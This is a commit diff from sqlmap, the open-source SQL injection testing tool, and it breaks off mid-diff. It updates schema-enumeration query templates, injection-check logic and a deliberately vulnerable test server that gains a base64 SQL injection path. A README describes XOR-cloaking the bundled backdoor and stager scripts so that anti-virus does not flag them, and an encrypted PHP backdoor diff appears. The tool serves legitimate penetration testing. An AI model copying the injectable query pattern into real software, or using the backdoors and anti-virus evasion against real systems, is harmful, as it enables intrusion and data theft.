Patch for known NCHAR/UNION-query SQLi problems

* Make asterisk work with --csrf-token option

* add --file-write support in HSQLDB

Co-authored-by: tree <[email protected]>

README.md

@@ -4,7 +4,7 @@
 
 sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
 
-**The sqlmap project is currently searching for sponsor(s).**
+**sqlmap is sponsored by [SpyderSec](https://spydersec.com/).**
 
 Screenshots
 ----

data/shell/README.txt

@@ -1,7 +1,7 @@
-Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
+Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
 
 To prepare the original scripts to the cloaked form use this command:
-find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
+find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
 
 To get back them into the original form use this:
-find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
+find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;

data/shell/backdoors/backdoor.php_

@@ -1,2 +1,2 @@
-:ЫХ&%╦С_m⌠D╗в?Е▓>и╠gI╛ё╠/З∙щб"	▄FщFчRs.k п⌡dqИЮa┌XЬ[°┘╧Юбlс5╖ZШйв∙⌠▄%Eч:+b≈м┬m╫Eк
-У╟╢?Чl┘м╟lw╤с(Б▌-Б&_Бk{╒],T╕ъЮШНгC╝\ba╛ik@bL6EХztФ©╠{■▐[дO╟]I~IlИX6└≤.щё²EЦS_б≥iОeKеxH2n╒дХCf┼CХ╓█ЬN╪БП5╒~	[ы,З 7ЩЩ=Ж;хЙ╛Ю+°Qюxt}zтq?╠·9ГUСЯSВУ>hvЯй╢М5gДW÷S=Н▓%√t"dЮ╒с╢wОnALg╛б▀ё$вО│ЁУ│э│ф
╢Sок_Еy
J╔Y┌Ч2У╫]╜;K;╚╞"√²6py|╙╡╟Х'*┌ ²)+.K┌у,R╬d(~U·│Ы6г9└▌b+аLi╪Ш©x
°Т`АЩ┘╧X┤>~н╙zE÷√НЪИР┤gХ└├╓f·Nб■К╠P{═▀$▌▀─e%<╒З╫У╩Sвв├┌$2#├╟P{╞╞Ф]╧├Ио└*⌠@°╔ж]╪kE
+5Ó×<Ùñ\Íh�†i•å1ãŽUPÍ¡²=¤¹è“^R~ƒlâtÇ3q-yÄü®5R
žÊ^°A™YŸ—çÌ÷F:£B¨pÄøÎj—�ž{'$ˆJ\m½ò,‘¿FÙTÙ6áânHñFºÿ©
uµÁvλ|U’QPÈT"bÃ_/FøóÕª¸·4¡v]SµiCp8Z˜
{Ì€ƒbõ�XÖœ A9	FFÖj/å›pñ–Ì“x\uý«pŽgH×&d?ô~³çiY¸f"꧟¦b‰³¦EÕq#dëMø#%£Ñ§m¸�£Ê®H¡zw#Vá iÁé6ÍjÁèdPå«]'§ºÃÇ
+Uý6�P/°¾Ç"Rïˆì†nŽlB^9€÷ÚõT à«ŒÇ˜½ƒÅê 0™»(êS>x¼8�ìlÙˆûK<41”�;÷Ÿ5b'PŸãæ˜P%¨¯0J,H�‹9èw'Tj¬˜˜4Ä+Ú¢/3L[¶CCƒ(âÞzŽªLÔ¬ÓÉ/ˆAü³Gœ„°Óܣџ‹¬&–ÿMÐÊÇ„
-Ðü+¤´²'?üÖˆB£Ë$Ø.è´ã&O×æ …�ÔDØ„êÝÚ¦ÊÕ¡R(ƒY\

data/xml/errors.xml

@@ -83,7 +83,7 @@
         <error regexp="CLI Driver.*?DB2"/>
         <error regexp="DB2 SQL error"/>
         <error regexp="\bdb2_\w+\("/>
-        <error regexp="SQLSTATE.+SQLCODE"/>
+        <error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
         <error regexp="com\.ibm\.db2\.jcc"/>
         <error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
         <error regexp="Pdo[./_\\]Ibm"/>

data/xml/queries.xml

@@ -131,8 +131,8 @@
             <blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
         </tables>
         <columns>
-            <inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
-            <blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
+            <inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
+            <blind query="SELECT attname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
@@ -147,8 +147,8 @@
             <blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" query2="SELECT tablename FROM pg_tables WHERE schemaname='%s'" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" count2="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'" condition="tablename" condition2="schemaname"/>
         </search_table>
         <search_column>
-            <inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
-            <blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
+            <inband query="SELECT nspname,relname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
+            <blind query="SELECT DISTINCT(nspname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
         </search_column>
     </dbms>
 
@@ -198,11 +198,11 @@
             <blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
         </dbs>
         <tables>
-            <inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
+            <inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS table_name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
             <blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
         </tables>
         <columns>
-            <inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
+            <inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
             <blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
         </columns>
         <dump_table>
@@ -301,8 +301,8 @@
             <blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
         </columns>
         <dump_table>
-            <inband query="SELECT %s FROM %s"/>
-            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
+            <inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
+            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq ORDER BY ROWNUM) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
         </dump_table>
         <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
         <search_db>
@@ -1370,8 +1370,8 @@
             <blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
         </tables>
         <columns>
-            <inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
-            <blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
+            <inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
+            <blind query="SELECT attname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
@@ -1386,8 +1386,8 @@
             <blind query="SELECT DISTINCT(table_schema) FROM information_schema.tables WHERE %s" query2="SELECT table_name FROM information_schema.tables WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.tables WHERE %s" count2="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
         </search_table>
         <search_column>
-            <inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
-            <blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
+            <inband query="SELECT nspname,relname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
+            <blind query="SELECT DISTINCT(nspname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
         </search_column>
     </dbms>
 

doc/THIRD-PARTY.md

@@ -277,7 +277,7 @@ be bound by the terms and conditions of this License Agreement.
 * The `bottle` web framework library located under `thirdparty/bottle/`.
   Copyright (C) 2012, Marcel Hellkamp.
 * The `identYwaf` library located under `thirdparty/identywaf/`.
-  Copyright (C) 2019, Miroslav Stampar.
+  Copyright (C) 2019-2020, Miroslav Stampar.
 * The `ordereddict` library located under `thirdparty/odict/`.
   Copyright (C) 2009, Raymond Hettinger.
 * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.

doc/translations/README-fr-FR.md

@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
 
     python sqlmap.py -hh
 
-Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
+Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
 Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
 
 Liens

doc/translations/README-id-ID.md

@@ -43,7 +43,7 @@ Tautan
 * Situs: http://sqlmap.org
 * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
 * RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
-* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
 * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
 * Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)

extra/cloak/cloak.py

@@ -21,7 +21,7 @@ if sys.version_info >= (3, 0):
     xrange = range
     ord = lambda _: _
 
-KEY = b"Beeth7hoyooleeF0"
+KEY = b"MOZFqVjlk1CY436G"
 
 def xor(message, key):
     return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))

extra/shutils/drei.sh

@@ -7,7 +7,7 @@
 
 export SQLMAP_DREI=1
 #for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
-for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done
+for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done
 unset SQLMAP_DREI
 source `dirname "$0"`"/junk.sh"
 

extra/shutils/recloak.sh

@@ -0,0 +1,16 @@
+#!/bin/bash
+
+# NOTE: this script is for dev usage after AV something something
+
+DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
+
+cd $DIR/../..
+for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
+
+cd $DIR/../cloak
+sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
+
+cd $DIR/../..
+for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
+
+git clean -f > /dev/null

extra/vulnserver/vulnserver.py

@@ -9,6 +9,7 @@ See the file 'LICENSE' for copying permission
 
 from __future__ import print_function
 
+import base64
 import json
 import re
 import sqlite3
@@ -146,7 +147,10 @@ class ReqHandler(BaseHTTPRequestHandler):
                         if "query" in self.params:
                             _cursor.execute(self.params["query"])
                         elif "id" in self.params:
-                            _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
+                            if "base64" in self.params:
+                                _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
+                            else:
+                                _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
                         results = _cursor.fetchall()
 
                     output += "<b>SQL results:</b><br>\n"

lib/controller/checks.py

@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import intersect
+from lib.core.common import isDigit
 from lib.core.common import joinValue
 from lib.core.common import listToStrValue
 from lib.core.common import parseFilePaths
@@ -117,7 +118,7 @@ def checkSqlInjection(place, parameter, value):
     threadData = getCurrentThreadData()
 
     # Favoring non-string specific boundaries in case of digit-like parameter values
-    if value.isdigit():
+    if isDigit(value):
         kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
         boundaries = kb.cache.intBoundaries
     elif value.isalpha():
@@ -226,8 +227,8 @@ def checkSqlInjection(place, parameter, value):
             # Skip test if the user's wants to test only for a specific
             # technique
             if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
-                debugMsg = "skipping test '%s' because the user " % title
-                debugMsg += "specified to test only for "
+                debugMsg = "skipping test '%s' because user " % title
+                debugMsg += "specified testing of only "
                 debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
                 logger.debug(debugMsg)
                 continue
@@ -651,7 +652,7 @@ def checkSqlInjection(place, parameter, value):
                             except SqlmapConnectionException as ex:
                                 debugMsg = "problem occurred most likely because the "
                                 debugMsg += "server hasn't recovered as expected from the "
-                                debugMsg += "error-based payload used ('%s')" % getSafeExString(ex)
+                                debugMsg += "used error-based payload ('%s')" % getSafeExString(ex)
                                 logger.debug(debugMsg)
 
                         # In case of time-based blind or stacked queries
@@ -855,7 +856,9 @@ def checkSqlInjection(place, parameter, value):
             logger.warn(warnMsg)
 
         if not checkFalsePositives(injection):
-            kb.vulnHosts.remove(conf.hostname)
+            if conf.hostname in kb.vulnHosts:
+                kb.vulnHosts.remove(conf.hostname)
+
             if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
                 injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
 
@@ -876,8 +879,12 @@ def heuristicCheckDbms(injection):
     to identify with a simple DBMS specific boolean-based test what the DBMS
     may be
     """
+
     retVal = False
 
+    if conf.skipHeuristics:
+        return retVal
+
     pushValue(kb.injection)
     kb.injection = injection
 
@@ -1031,6 +1038,9 @@ def checkFilteredChars(injection):
     kb.injection = popValue()
 
 def heuristicCheckSqlInjection(place, parameter):
+    if conf.skipHeuristics:
+        return None
+
     if kb.heavilyDynamic:
         debugMsg = "heuristic check skipped because of heavy dynamicity"
         logger.debug(debugMsg)
@@ -1581,7 +1591,7 @@ def checkConnection(suppressOutput=False):
         kb.originalPage = kb.pageTemplate = threadData.lastPage
         kb.originalCode = threadData.lastCode
 
-    if conf.cj and not conf.cookie and not conf.dropSetCookie:
+    if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
         candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
 
         message = "you have not declared cookie(s), while "

lib/controller/controller.py

@@ -291,7 +291,7 @@ def start():
         logger.error(errMsg)
         return False
 
-    if kb.targets and len(kb.targets) > 1:
+    if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1:
         infoMsg = "found a total of %d targets" % len(kb.targets)
         logger.info(infoMsg)
 
@@ -704,6 +704,12 @@ def start():
                     action()
 
         except KeyboardInterrupt:
+            if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
+                kb.multipleCtrlC = True
+                raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
+
+            kb.lastCtrlCTime = time.time()
+
             if conf.multipleTargets:
                 warnMsg = "user aborted in multiple target mode"
                 logger.warn(warnMsg)

lib/core/agent.py

@@ -42,6 +42,7 @@ from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapNoneDataException
+from lib.core.settings import BOUNDED_BASE64_MARKER
 from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
 from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
@@ -183,8 +184,12 @@ class Agent(object):
                 newValue = self.adjustLateValues(newValue)
 
             # TODO: support for POST_HINT
-            newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
-            origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
+            newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
+
+            if parameter in kb.base64Originals:
+                origValue = kb.base64Originals[parameter]
+            else:
+                origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
 
         if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
             _ = "%s%s" % (origValue, kb.customInjectionMark)
@@ -393,6 +398,10 @@ class Agent(object):
         """
 
         if payload:
